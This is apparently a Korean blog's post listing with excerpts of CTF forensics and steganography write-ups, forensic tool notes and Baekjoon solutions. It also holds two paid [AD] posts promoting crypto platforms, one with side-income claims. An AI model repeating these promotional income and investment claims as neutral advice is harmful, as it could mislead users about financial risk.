ldw0811의 등록된 링크

 ldw0811로 등록된 네이버 블로그 포스트 수는 363건입니다.

[CTF] 2022 화이트햇 콘테스트 [국방트랙] 예선 Write Up [내부링크]

첨부파일 [E] 2022 Korea WhiteHat Contest(MND Track) Write Up.pdf 파일 다운로드 아마 공유는 대회 종료하고나서 하지 않을까 싶음.

[CTF] 2022 화이트햇 콘테스트, CCE Review [내부링크]

CCE 공공 예선 6위, 화이트햇 국방 예선 5위 오랜만에 블로그에 글을 쓰지만 올해는 운 좋은 성과들이 있는 해인거 같다. 작년에는 단순 경험에 그쳤던 대회들에서 본선까지 진출하는 경험을 쌓게 해주었다. 좋은 팀원들을 만나게되어 더욱 더 좋은 성과가 나지 않았나 싶다. 한줄평은 아직도 공부할게 한참 많다는 것이다.. 간단한 리뷰를 하자면 CCE는 난이도가 생각했던 것 이상으로 높았다. 작년, 제작년 출제 경향이 무난한 난이도의 다양한 문제를 제공했던 반면에 올해는 일반, 공공이 문제가 똑같아 풀이에 난항을 겪었다. Forensic의 SSL 문제를 풀고 싶어서 굉장히 오랜시간 문제를 잡고 있었지만 결국 해결하지 못했다. 대회가 종료되고 Discord에서 출제자의 키워드를 들었었는데 허무했다. 2018년도 Codegate에서 TLS 암호화 통신 패킷을 인증서를 크랙하여 Decrypt 하는 문제가 있었는데 그런 유형인줄알고 너무 암호학적으로 깊게 접근했던 것 같다. 삽질하고 있는 동안

[CTF] Vishwa CTF 2022 write up [내부링크]

Vishwa CTF 2022 2022. 3. 19. 19:30 ~ 2022. 3. 21. 19:30 이번 대회에서는 전반적으로 포렌식 문제가 많이 나왔다. Forensic(5), Steganography(6) 총 11 문제가 나왔는데, 어려웠다고 해야 할까.. 추측성 문제들과 Crypto와 연계된 문제들이 많았다. 풀었던 문제들도 있고, 풀지 못했던 문제들도 있지만 내가 접근하는 방법도 몰랐던 문제들은 그냥 아직 까지 경험이 많이 부족한 것이라고 생각한다. Steganography 문제는 애초에 대회에서 풀이한 사람의 수도 적었고, 문제의 의도도 잘 모르겠어서 write up 좀 보고 싶었는데 자료가 없다 ㅠ Forensic (The Last Jedi) Binwalk를 이용한 파일 카빙문제이다. 문제에서 주어진 JPG 파일에서도 알 수 있듯이 용량이 비정상적으로 크다. 700KB ?! Binwalk로 확인해보니 RAR 압축파일이 하나 있는데, 압축을 풀어보면 is_this_it.jp

[CTF] picoCTF 2022 writeup [내부링크]

2022. 3. 15. ~ 2022. 3. 29. 이렇게 길게 하는 CTF는 처음이다. 사실은 처음 하루 이틀?만 하고 그만하긴 했지만, 문제는 대체적으로 쉽고 직관적이었다. 포렌식은 13문제정도 나왔는데 (기간이 길다보니 문제의 수가...) 처음으로 올클하게 된 경험을 하게 해준 대회였다. Enhance! (100 points) .svg 파일이 하나 주어지는데, notepad++로 열면 flag 나온다. → picoCTF{3nh4nc4d_56e87c96} File types (100 points) 이건 정말 거지같은 문제이다. 문제에서 주어지는 Flag.pdf 파일이 사실은 shell archive 파일인데 압축해제하면 또 다른 압축파일 나오고 러시아의 마트료시카 인형 같은 문제이다. 1. flag.ar 2. flag.cpio 3. flag.bz2 4. flag.lz 5. flag.lz4 6. flag.lzma 7. flag.lzop 8. flag.xz 마지막 파일 압축 풀면 fl

[Forensic] 윈도우 아티팩트 (Windows Artifact) (1) [내부링크]

포렌식(Forensic)이란, 범죄와 관련된 사실관계를 확정 또는 증명할 수 있는 근거가 되는 자료 즉, 증거물을 과학적으로 조사하여 찾아내기 위한 일련의 과정으로 이야기한다. 시대적인 흐름에따라 모든 자료들을 서면으로 기록하고 저장하지 않듯이, 대부분의 자료들이 디지털 기기에 저장되면서 디지털 자료에서 범죄의 결정적 증거를 찾을 수 있게 되었다. 포렌식이 대중화되면서 디지털 기기에서 증거자료를 찾는 분야를 "디지털포렌식"이라고 부르게 되었다. Artifact 디지털 증거는 총 2가지로 구분되며, 보관 증거(디지털 기기에 저장된 증거)와 생성 증거(디지털 기기에 의해 자동으로 생성된 증거)로 구분할 수 있다. 아티팩트(Artifact)는 생성 증거에 해당됨! 생성 증거란 미리 정해진 시스템의 동작이나 알고리즘에 의해 생성되는 증거이다. 사용자의 개입 없이, 여러가지의 디지털 데이터 처리 과정에서 자동으로 생성된 증거를 말한다. 윈도우 시스템 아티팩트의 종류로는 레지스트리(Regist

[CTF] HeroCTF v4 2022 writeup [내부링크]

HeroCTF v4 2022 Date : 2022. 5. 28, 06:00 KST ~ 2022. 5. 30, 08:00 KST 이 기간이 DEFCON 30 CTF 기간이었는데, 딱히 풀 수 있는 문제가 없었다. 분야가 한 쪽에 다소 치우친..? 경향이어서 고대하던 Forensic 문제는 볼 수 조차 없었다. 차라리 그 시간에 다른 대회 문제나 보자라는 생각으로 잠깐 진행했던 대회인데 기록용으로 남긴다. [Prog] Pixel Phony Programming 분야에 있는 문제인데 그냥 Stegano 문제다. TXT 파일이 주어지는데, 파일은 픽셀들의 RGB 값들이다 문제에서도 너비는 3,500이라고 나와있기 때문에 저 RGB 값들로 너비가 3,500 픽셀인 이미지를 만들어보면 되겠지.. (높이는 대충 1500쯤 뒀다.) from PIL import Image img = Image.new("RGB", (3500, 1500)) infile = open("./value.txt", "r")

[Forensic] Image Steganography(extracting Palette) [내부링크]

RUCTF Quals 2014 Stegano 300 (Nyan task) 출제자의 의도와 접근이 처음이어서 기록용으로 남긴다. 문제 파일(.png)에 Data Matrix 코드를 의미하는 Image palette를 은닉했고 이를 찾아내는 것이 출제 의도였다. 많은 문제를 경험했지만, palette의 data matrix 코드는 상상도 못했다. (사실 어디서 확인하는지도 몰랐다..ㅋ) 제목에서나 문제에서나 별 다른 힌트는 없었다. 난이도가 조금 있는 스테가노 문제의 경우, 우리가 일반적으로 아는 forensic tools 들을 통해 손쉽게 얻을 수 없다. 접근 방향을 찾지 못하면 어려워서 못 푸는게 아니라 몰라서 못 푼다. 1. Exiftool root@kali:/home/kali/Desktop# exiftool 2014_ruCTF_S300.png ExifTool Version Number : 12.32 File Name : 2014_ruCTF_S300.png Directory : .

[CTF] MHSCTF 2022 writeup [내부링크]

February 18th, 12PM EST - February 25th, 12PM EST Forensic 분야 위주로 풀었어서 그 부분에 대한 내용만 풀이를 간단하게 작성해봤다. In Plain Sight $ zsteg -a {filename.png} flag{H1dd3nM1ck3y} Blank Slate 2 문제에서 local git repository 파일이 주어진다. commit log를 확인해보면 "~add some new files"라는 로그를 확인할 수 있고. 해당 commit 시점으로 돌아가면 repository에 FLAG 파일이 복원되어 있음. $ git log $ git reset hard -- 17161e flag{w4tch_0ut_f0r_g17_h15t0ry} Chimera 문제에서 힌트가 살짝있다. "one inside another" 그림파일에 뭔가 파일이 숨겨져 있다는 것을 알고 접근했다. .png 파일이 2개가 존재하여 카빙해본다. $ foremost -t

[Forensic] font file(.otf) forensic [내부링크]

.otf(font file) 포렌식 문제를 풀게된건 처음이었기 때문에 기록용으로 남긴다. 2016 Hack The Vote - Double Agent Question : We have a man on the inside of Trump's campaign, but he's too afraid to leak secrets through normal communication methods. He swapped out the normal font on the campaign website for this one, and we suspect his data is inside. 문제와 함께 lexicographic.otf 라는 폰트 파일이 주어진다. 폰트 파일이 주어지는 경우는 처음이었다. Fontforge 라는 프로그램을 사용해본다. 오픈소스 기반 font 제작 프로그램 및 에디터라고 하는데 다음에 혹시라도 쓸 일이 있길.. 기대해본다. 유니코드 문자들이 각각 매핑되어 있는 것을 확인할 수

[CTF] Foobar CTF 2022 write up [내부링크]

Foobar CTF 2022 2022. 3. 4. 23:30 ~ 2022. 3. 5. 23:30 요즘 Write up도 이전보다는 자주 작성하고, 문제도 많이 풀고 있다. 새로운 팀에 들어갔더니, 각 분야 별로 잘하시는 분들이 많아 덕분에 동기부여도 되고 다양한 경험을 하고 있는 것 같아서 좋다. 요즘은 DFIR(Digital Forensic Incident Response) 쪽에 관심을 갖고 있어, 다른 분야는 많이 잊어버렸다. (이리저리 관심만 갖고 있다가 아무것도 못하는 사람이 되어버릴까 두렵다.) 그래서 오늘은 이번 Foobar CTF에서 경험한 3개의 MISC 문제에 대한 write up을 작성한다.~ Foobar Jail python Jail 문제이다. 기본적으로 python 2.x 버전 interpreter를 사용하고 있다. #!/usr/bin/env python from __future__ import print_function print("===============

[Forensic] APNG File Structure [내부링크]

N0Named Wargame에서 포렌식 문제를 풀다가 알게된 APNG 형식과 파일 구조에 대해 정리해본다. APNG(Animated Portable Network Graphics)는 PNG를 확장한 이미지 파일 포맷으로, GIF와 비슷한 방법으로 애니메이션을 구현하고 있으면서 기존 PNG와 하위 호환성을 유지하고 있기 때문에 더 높은 품질을 보여주고 있다. 일반적으로 PNG 파일은 PNG 시그니처와 일련의 청크들로 이루어진다. 길이 (4Byte) 청크 유형 (4 Byte) 청크 데이터 CRC (4 Byte) 하나의 PNG 청크를 이루는 구조는 위와 같으며, 4개의 부분으로 이루어져있다. Critical Chunk로는 IHDR, PLTE, IDAT, IEND가 있다. * PNG의 경우 최소 3개의 청크를 구성해야 이미지를 표시할 수 있음. (IHDR, IDAT, IEND) - IHDR : 첫 번째 청크로 와야 하며, 순서대로 이미지의 넓이, 높이, 비트 수, 컬러 타입을 표시 - PL

[Forensic] IHDR header 복구 (feat. CRC) [내부링크]

IHDR 헤더 복구하는 문제를 풀다가 정리용으로 하나 남긴다. IHDR(Image HeaDeR) PNG 파일의 Critical Chunk로서, PNG 시그니처(8 byte)뒤에 위치하고 이미지의 헤더 정보를 담고 있으며 세부 정보는 아래와 같다. struct PNG_CHUNK_IHDR { Length : 00 00 00 0D Chunk Type : 49 48 44 52 Chunk Data { Width : 4byte Height : 4byte Bit depth : 1byte Color Type : 1byte Compression method : 1byte Filter method : 1byte Interlace method : 1byte } CRC : 4byte } Length는 00 00 00 0D(13 byte), Chunk Type은 IHDR 헤더이므로 49 48 44 52(ASCII : IHDR)이다. 관련 문제를 통해 확인해본다. N0Named Wargame - Recove

[Forensic] Tools. RouterPassView [내부링크]

또 쓸일이 있을지는 모르겠다만, 기억 유지용이다. RouterPassView NirSoft 제작한 라우터 패스워드 복구 도구인데, NirSoft에서 제작한 기타 도구들이 쓸만한게 많은 것 같다. 실제로도 많이 쓰고 있음. Prefetch viewer, NTFS logtracker, LastActivityView 등.. Router Configuration Backup 파일을 복원할 수 있는 도구인데, 라우터의 백업 파일에는 기본적으로 ISP 사용자 이름, 비밀번호, 라우터의 로그인 비밀번호, 무선 네트워크 키 등 중요한 데이터들이 포함되어 있다. 우리가 암호를 분실했어도 이러한 설정파일이 살아 있으면 해당 도구를 통해 복구할 수 있다. # Case 1 01 01 00 01 19 48 64 62 67 61 72 65 61 -> .....Hdbgarea 위와 같은 라우터 설정파일에는 시그니처가 존재하고, 그것을 기반으로 File의 Type을 탐지한다. (Hdbgarea 시그니처를 가지고

[Forensic] CTF tools 정리 (1) [내부링크]

Multimedia 분야의 포렌식 CTF를 경험하며 사용했던 도구나 접근 방향들에 대한 정리를 해볼까 한다. (새로운 글씨체가 나와서 써봄) Reference Sites 1. https://29a.ch/photo-forensics/#forensic-magnifier 2. https://stegonline.georgeom.net/upload * Image 위주의 스테가노그래피에서 자주 사용했던 도구로 파일에 존재하는 Strings, Bit plane 조작이 손 쉽게 가능함. * JPEG와 같이 손실 압축이 있는 디지털 데이터의 압축 아티팩트 및 MetaData 등 다양한 종류의 분석이 하나의 서비스에서 가능함. 3. http://www.spammimic.com/decode.shtml * 특정 Text를 Spam으로 암호화한 것을 복호화해주는 도구 (많이 출제되진 않았음.) 4. http://www.onlinebarcodereader.com/ 5. https://zxing.org/w/d

[Forensic] Piet 언어 / Malbolge(esolang) [내부링크]

Forensic CTF에서 처음 접해본 부분에 대해서 기록용으로 남겨보려고 한다. * Related Issues 1. NahamCom CTF 2021 - Eighth Circle 2. RITSEC CTF 2018 - RIP Break In 2016 - Eighth Circle oh Hell eighthcircleofhell.png * 문제의 Keyword : Piet Language, Malbolge * 처음보던 이미지 였기 때문에, 기존 분석하던대로 분석해서는 실마리를 찾을 수가 없었다. * 단순 게싱(Guessing)이라고 할지라도 모든 문제에는 접근 방향에 대한 힌트가 존재한다. (문제, 파일명 등) #. Piet Language : 프로그래밍 언어의 하나로, 코드가 NxM의 2차원 이미지로 되어 있는 것이 특징 프로그램이 추상화처럼 보이는 프로그래밍 언어로, Piet Mondrian의 이름을 따서 지어짐. Piet 프로그램에서 단위 정사각형을 코델(Codel)이라고 하며, 각

[Forensic] GPS data in CTF [내부링크]

CTF에서 종종 나오는 GPS data에 대한 글을 써보려 한다. 분야가 Forensic 이라고 봐야할지 Misc 로 봐야할지는 애매모호하지만.. 문제의 성향에 따라 다를듯하다. * Reference Sites https://en.wikichip.org/wiki/seven-segment_display/representing_letters Metared CTF 5th Stage 2021 - Follow the teacher (OSINT) * 문제를 간단하게 설명하자면 한 학생이 선생을 6주 동안 스토킹했는데, 그걸 매일 좌표로 기록을 했던것이 오른쪽 메모장이란다. * 그 장소들을 분석하면서 선생의 비밀을 찾았다고 함. Week1 route 메모장에 있는 좌표들을 잘 분석해보면 총 6개의 좌표만 있고, 구글지도에서 좌표를 검색하고 Week1의 경로를 이었더니 알파벳이 나왔다. 여기서 새롭게 알게된 도구가 GPS Route Editor이다. GPS Route Editor 아래와 같은 방식

[CTF] Internacional MetaRed 2021 - 5th STAGE Write Up [내부링크]

* 기억에 남는 몇 문제만 기록용으로 남긴다. Compilers class (MISC) Compilers class * 새로운 프로그래밍 언어, 컴파일러 수업시간 등의 키워드를 통해 주어진 파일을 컴파일하면 FLAG가 출력되는 형식인듯하다. * 알 수 없는 언어에 특징이 있다. "A", "a", "U", "u" 2개의 알파벳 대소문자 총 4글자로 이루어진 언어라는 점이다. * 난해한 프로그래밍 언어(esolang) 중에 "M", "m", "O", "o"로 이루어진 COW라는 언어가 있다. Convert to COW code * 임의의 문자열을 변환했더니 시작이 "OOO" 이다. 주어진 flag.txt에서도 AAA로 시작하니.. * A -> O, a -> o, U -> M, u -> m 으로 치환한다음 decrypt 하면 플래그가 나올것이다. FLAG FLAG : CTFUA{Moo_mOo_moO} Mutant Fly (MISC) Mutant Fly * 파리에 물렸는데, Flyman이

[Forensic] 2bpp LSB Steganography [내부링크]

이번에 공부하다가 알게 된 2bpp LSB Steganography에 대해서 정리하려고 한다. 2015 Volga CTF Stego 400 stego.png Question : There must be a hidden message somewhere Hints 1) 2 bpp. That's incredible 2) 2x3 matrix embedding. 3) Jessica Fridrich would solve this task easily * 이 문제는 힌트 없이 접근하기가 힘들었다.. 많은 게싱을 요하는 듯 * "2 bpp" 라는 단어로 하여금 LSB Stegano에 대해 생각하게끔 만드는 것 같다. 기존의 LSB Stegano의 경우 최하위 비트에 데이터를 은닉하는 기법으로 기본적인 LSB Stegano를 1bpp LSB Stegano 라고 부른다. - bpp : bit per pixel의 약자로 색을 표현하는데 사용하는 단위 2bpp를 이용해서 데이터를 은닉한 경우 추출하기 위

[CTF] X-MAS CTF 2021 Second Weekend writeup [내부링크]

Date : 2021. 12. 18 04:00 ~ 2021. 12. 20 04:00 (48H) Super Secret Communication : 당신은 우리의 비밀을 발견하지 못할거야.. 우리의 방법은 안전하다.. 우리가 보낸 패킷의 캡처파일도 제공했다.. 최선을 다해라.. 이런 말이다. .pcap 파일에서 알아낼 수 있는 것은 A(10.0.2.5)와 B(10.0.2.15)와의 TCP 통신한 패킷만 존재한다는 점이다. TCP stream을 분석해보면 중간 중간 플래그 형식을 확인할 수 있다. 10번에 걸쳐서 플래그의 조각들을 데이터 영역에 포함해서 전송한 것을 알 수 있다. 조각난 플래그를 재조합하면 원래 플래그를 얻을 수 있다. FLAG : X-MAS{y0u_cr4CK4d_thE_c0d3!_afa03819def2f} Underground forensics : 오래된 하드드라이브에서 이것을 찾았다. 20년 동안 거리를 돌아다녀서 손상된 파일을 당신이 다시 살릴 수 있는가? 뭐 요런

[Forensic] 2012_Secuwave F100.7z [내부링크]

[문 제] 이벤트예약 웹사이트를 운영하고 있는 "깜짝이야"사의 관리자 앞으로 한통의 협박 메일이 도착했다. 당장 10억을 입금하지 않으면, 확보한 자사의 웹페이지 소스코드를 모두 공개할 것이며, 추가적인 위협을 가하겠다는 내용이다. 관리자는 포렌식 전문가인 당신에게 침해사고 분석을 의뢰하였다. 침해된 시스템에 남겨진 흔적과 각종 로그 파일을 분석하여 다음 사항을 밝혀내시오. A. 공공격자가 웹페이지 소스코드를 유출한 시간(UTC+09:00)은? * Key format: (yyyy-MM-dd_hh:mm:ss) B. 리버스쉘(Reverse Shell)을 동작시키는 프로세스 ID(PID)는? (10진수) * KEY Format : 1234 C. 리버스쉘(Reverse Shell)에 대한 공격자 주소(IP)는? * KEY Format : 123.456.789.123 Incident_Response [분 석] 공격자가 root 권한을 탈취하여 지속적인 정보 탈취를 목적으로 침해 PC와의 리버

[백준/BOJ] 9494번 Text Roll [내부링크]

백준 온라인 저지 9494번 Text Roll https://www.acmicpc.net/problem/9494 9494번: Text Roll 9494번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 Text Roll 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 3524 1147 897 33.185% 문제 Take some text. Put a small ball at the top of the first letter of the first word of the first sentence. The ball is drawn via gravity downwards. The text is also at a slight ang... www.acmicpc.net 문제 풀이 - 문단이 주어질 때 문제의 그림처럼 왼쪽 상단에서 공을 굴려 떨어지는 지점, 즉 마지막 라인의 인덱스를 구하는 것이다. - 공백이 주어지는 곳에서만 공이 떨어질 수 있

[백준/BOJ] 3076번 상근이의 체스판 [내부링크]

백준 온라인 저지 3076번 상근이의 체스판 https://www.acmicpc.net/problem/3076 3076번: 상근이의 체스판 3076번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 상근이의 체스판 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 1558 983 893 65.087% 문제 상근이는 체스판을 만들려고 한다. 체스판은 검정칸과 흰칸으로 이루어져 있다. 가장 왼쪽 위칸의 색은 검정색이고, 나머지 색은 검정과 흰색이 번갈아가면서 등장한다. 검정색은 'X'로, 흰색은 '.'로 표시한다. 상근이의 체스판은 R행 * C열로 이루어져 있어야 한다. 또, 각각의 행의 높이는 문자 A개만큼 이며, 각각의 열... www.acmicpc.net 문제 풀이 - 단순 반복문을 이용한 문자열 처리문제 - 위의 예제 출력에서 보여지는 것처럼 가로로 슬라이싱하면 "XXX...XXX...XXX", "...XXX...XXX..." 두 가

[백준/BOJ] 11575번 Affine Cipher [내부링크]

백준 온라인 저지 11575번 Affine Cipher https://www.acmicpc.net/problem/11575 11575번: Affine Cipher 11575번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 Affine Cipher 출처 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 5 초 256 MB 1599 982 807 65.824% 문제 서쪽나라에서 특수훈련을 받은 정은이는 동쪽나라로 침투를 하게 되었다. 뛰어난 스파이였던 정은이는 동쪽나라의 정보를 입수하게 되었고 정보를 안전하게 서쪽나라로 전달하기 위해 아핀 암호(Affine Cipher)를 이용하기로 하였다. 아핀 암호는 다음과 같은 식을 통해 구할 수 있다. E(X) = (aX + b) mod ... www.acmicpc.net 문제 풀이 - 암호문의 원리가 간단해서 풀기 쉽다. - 암호화하는 함수 affine()에 input으로 입력 받는 a, b, string 값을 가지고 X(알파벳

[백준/BOJ] 8595번 히든 넘버 [내부링크]

백준 온라인 저지 8595번 히든 넘버 https://www.acmicpc.net/problem/8595 8595번: 히든 넘버 8595번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 히든 넘버 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 256 MB 3521 1047 771 28.801% 문제 단어에 숫자가 숨어있다. 이 숫자를 히든 넘버라고 한다. 알파벳 대/소문자와 숫자로 이루어진 단어가 주어졌을 때, 모든 히든 넘버의 합을 구하는 프로그램을 작성하시오. 단어와 히든 넘버는 아래와 같은 성질을 갖는다. 연속된 숫자는 한 히든 넘버이다. 두 히든 넘버 사이에는 글자가 적어도 한 개 있다. 히든 넘버는 6자리를 넘... www.acmicpc.net 문제 풀이 문제 자체는 그렇게 어렵지 않은데, 하나의 for문으로만 잘 구상하면 된다. (= 최대 단어의 길이가 5,000,000이기 때문) 여러 개의 카운팅 변수를 선언하고, 입력 받은 문자열

[AD] 노마드태스크 ?! [내부링크]

노마드태스크의 시작은 유튜브의 알 수 없는 알고리즘이었다.. "퇴근 후 30분 매달 80만원 추가로 버세요!" 라는 X 유튜버의 영상을 우연히 보게 되었다. #재택부업 #초간단 이런 네임 태그들이 있었지만 한번 들어가 보기로 했다. 리뷰헌트 -> 노마드태스크 - 올해 2월에 정식 런칭한 후로 반년 만에 8만명 이상의 사용자를 모으면서 크립토 기반 마케팅 플랫폼으로 성장 - 세계 최대 규모의 디지털 노마드를 위한 태스크 마켓플레이스 태스크 마켓플레이스, 말 그대로 태스크(task)들을 사고 파는 하나의 플랫폼 역할을 하는 것이 '노마드 태스크'이다. 눈으로 확인하는게 더 빠를 것이다. GO! https://nomadtask.com/ 태스크 마켓플레이스라는 이름 답게 여러 종류의 태스크들이 로그인을 완료하면 나타나는 것을 볼 수 있다. 간단한 것은 네이버 이웃추가, 트위터 팔로우, 유튜브 구독 ... 등 부터 블로그 포스팅 등 여러 종류로 나누어져 있다. 각 태스크마다 보상을 해주는 금

[AD] 네버루즈머니 ?! 락업 ?! [내부링크]

네버루즈머니(Neverlose.money) ?! https://neverlose.money/ Neverlose.money - Gamified HODL Protocol A lock-up smart contract HODL protocol on Ethereum that pays bonus to the winners with the losers penalty. neverlose.money 이더리움 기반의 게미피케이션을 적용한 암호화폐 장기 투자 촉진 프로토콜? 저런 어려운 말들은 집어치우자. 가상화폐, 블록체인, 스마트 컨트랙트, 지갑, 마이닝 풀, 프로토콜 ... 뭐 좀 하려고 하면 어려운 단어들이 우리들의 앞을 탁 가로 막는다. 암호화폐 장기 투자, 즉 존버를 강제로 할 수 있는 그런 개념으로 만들어져 있다. 워런 버핏은 이런 얘기를 했다. 10년 이상을 볼 것이 아니면 10분도 갖고 있지 말라 2017~2018 년도 부터 뜨거운 이슈였던 가상화폐는 주식과는 다르게 개장과 마감이라는게

[CTF] 2021 화이트햇 콘테스트 [국방트랙] Write Up [내부링크]

첨부파일 2021 Korea WhiteHat Contest(MND Track) Write Up.pdf 파일 다운로드

[백준/BOJ] 3028번 창영마을 [내부링크]

백준 온라인 저지 3028번 창영마을 https://www.acmicpc.net/problem/3028 3028번: 창영마을 3028번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 창영마을 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 1785 1321 1231 75.383% 문제 상근이와 정인이는 창영마을에 살고 있다. 창영마을은 전세계에서 가장 평화로운 마을로 알려져 있다. 이 마을의 이장은 상근이다. 정인이는 항상 상근이의 자리를 질투하고 있다. 정인이는 상근이가 이장의 자격이 없다는 것을 속임수를 이용해서 사람들에게 알려주려고 한다. 먼저 정인이는 불투명한 컵 세 개를 일렬로 탁자 위에 올려놓... www.acmicpc.net 문제 풀이 - 위치를 바꾸는 세 가지 방법에 대한 함수를 작성 - 컵을 섞는 순서에 맞춰 해당 함수를 호출, 결과값을 출력 import sys def A(lst): sub = '' sub = lst[

[백준/BOJ] 11098번 첼시를 도와줘! [내부링크]

백준 온라인 저지 11098번 첼시를 도와줘! https://www.acmicpc.net/problem/11098 11098번: 첼시를 도와줘! 11098번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 첼시를 도와줘! 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 256 MB 2074 1355 1234 68.064% 문제 구단이 성적을 내지 못한다면 답은 새 선수 영입뿐이다. 이것은 오늘날 유럽 리그에서 가장 흔한 전략이고, 노르웨이의 로젠버그 팀은 이러한 전략이 성공한 대표적 예시다. 그들은 많은 스카우터들을 지구 곳곳에 파견해 가능성 있는 루키를 찾는다. 현재 첼시는 프리미어 리그에서 헤매고 있고, 결국 새로운 선수를 사기로 결정... www.acmicpc.net 문제 풀이 - 쉽고 간단함. - 마음가는대로 작성해서 더 간단하게 작성할 수도 있지만 참고하지 않았으면 좋겠음. - [테스트 케이스의 개수(n)] [고려해야할 선수의 수(p),

[백준/BOJ] 1871번 좋은 자동차 번호판 [내부링크]

백준 온라인 저지 1871번 좋은 자동차 번호판 https://www.acmicpc.net/problem/1871 1871번: 좋은 자동차 번호판 1871번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 좋은 자동차 번호판 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 1827 1164 1072 64.617% 문제 앨버타의 자동차 번호판은 ABC-0123 (세 글자, 네 숫자)와 같이 두 부분으로 나누어져 있다. 좋은 번호판은 첫 번째 부분의 가치와 두 번째 부분의 가치의 차이가 100을 넘지 않는 번호판이다. 글자로 이루어진 첫 번째 부분의 가치는 글자를 26진법 수처럼 계산한다. (각 자리가 [A..Z]) 예를 들어, "... www.acmicpc.net 문제 풀이 - "-"를 기준으로 앞부분과 뒷부분을 나눔 - cal_26()을 이용해 앞부분의 값을 계산하여 뒷부분의 값과의 절댓값을 구함 - 조건에 맞는 문자열 출력 impor

[백준/BOJ] 10823번 더하기 2 [내부링크]

백준 온라인 저지 10823번 더하기 2 https://www.acmicpc.net/problem/10823 10823번: 더하기 2 10823번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 더하기 2 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 256 MB 2307 1210 1037 55.336% 문제 숫자와 콤마로만 이루어진 문자열 S가 주어진다. 이때, S에 포함되어있는 자연수의 합을 구하는 프로그램을 작성하시오. S의 첫 문자와 마지막 문자는 항상 숫자이고, 콤마는 연속해서 주어지지 않는다. 주어지는 수는 항상 자연수이다. 입력 문자열 S가 여러 줄에 걸쳐서 주어진다. S의 길이는 최대 10,000이다. 포함되어있는 정수는 1... www.acmicpc.net 문제 풀이 - 문제는 정말 간단하지만 input()과 sys.stdin.readline()의 차이점을 알려주는 좋은 문제 - input()은 더 이상 입력이 없는데도 수행될 경우 EOFer

[백준/BOJ] 1356번 유진수 [내부링크]

백준 온라인 저지 1356번 유진수 https://www.acmicpc.net/problem/1356 1356번: 유진수 1356번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 유진수 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 2 초 128 MB 2884 1171 1027 41.596% 문제 유진수는 어떤 수를 10진수로 표현한 뒤 그 수를 두 부분으로 나눴을 때, 앞부분 자리수의 곱과 뒷부분 자리수의 곱이 같을 때를 말한다. 예를 들어, 1221은 유진수이다. 12와 21로 나눴을 때, 앞부분 자리수의 곱 1*2는 뒷부분 자리수의 곱 2*1과 같기 때문이다. 1236도 마찬가지로 유진수이다. 하지만, 1234는 아니다. 수를... www.acmicpc.net 문제 풀이 - 문제는 엄청 쉬움, 그러나 반례를 꼼꼼하게 생각해야 하는 문제 - 풀어보면서 느낀건데, 입력 값(N)에 012345, 0100 등과 같은 수들도 입력이 되는 것 같음. - 문자열로 입력을

[백준/BOJ] 6996번 애너그램 [내부링크]

백준 온라인 저지 6996번 애너그램 https://www.acmicpc.net/problem/6996 6996번: 애너그램 6996번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 애너그램 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 2473 1184 1018 51.754% 문제 두 단어 A와 B가 주어졌을 때, A에 속하는 알파벳의 순서를 바꾸어서 B를 만들 수 있다면, A와 B를 애너그램이라고 한다. 두 단어가 애너그램인지 아닌지 구하는 프로그램을 작성하시오. 입력 첫째 줄에 테스트 케이스의 개수(<100)가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있고, 길이가 100을 넘지 않는 단어가... www.acmicpc.net 문제 풀이 - 애너그램이 될 수 있는 조건에 대해 생각해보기 (각각 두 개의 단어가 같은 알파벳의 종류와 개수를 가지면 됨.) - 알파벳 개수 만큼의 배열을 생성 - 알파벳 하나 하나 체크하여 개수

[백준/BOJ] 2954번 창영이의 일기장 [내부링크]

백준 온라인 저지 2954번 창영이의 일기장 https://www.acmicpc.net/problem/2954 2954번: 창영이의 일기장 2954번 제출 맞은 사람 숏코딩 재채점/수정 채점 현황 강의 창영이의 일기장 출처 다국어 분류 시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 1 초 128 MB 1536 1017 935 68.248% 문제 창영이는 매일 밤 하루동안 일어난 일을 일기장에 남긴다. 일기장을 쓰면서 영어 공부도 같이 하기 위해서 영어로 일기를 쓴다. 또, 남들이 자신의 일기장을 보는 것을 막기 위해서 모음('a','e','i','o','u')의 다음에 'p'를 하나 쓰고, 그 모음을 하나 더 쓴다. 예를 들어, "kemija" 는 "kepe... www.acmicpc.net 문제 풀이 - 역으로 해독하는 원리는 모음이 등장할 경우 그 다음에 나오는 알파벳 두 글자를 없애면 됨 ex.) ze(pe)le(pe)na(pa) pa(pa)pri(pi)ka(pa) =

[백준/BOJ] 11655번 ROT13 [내부링크]

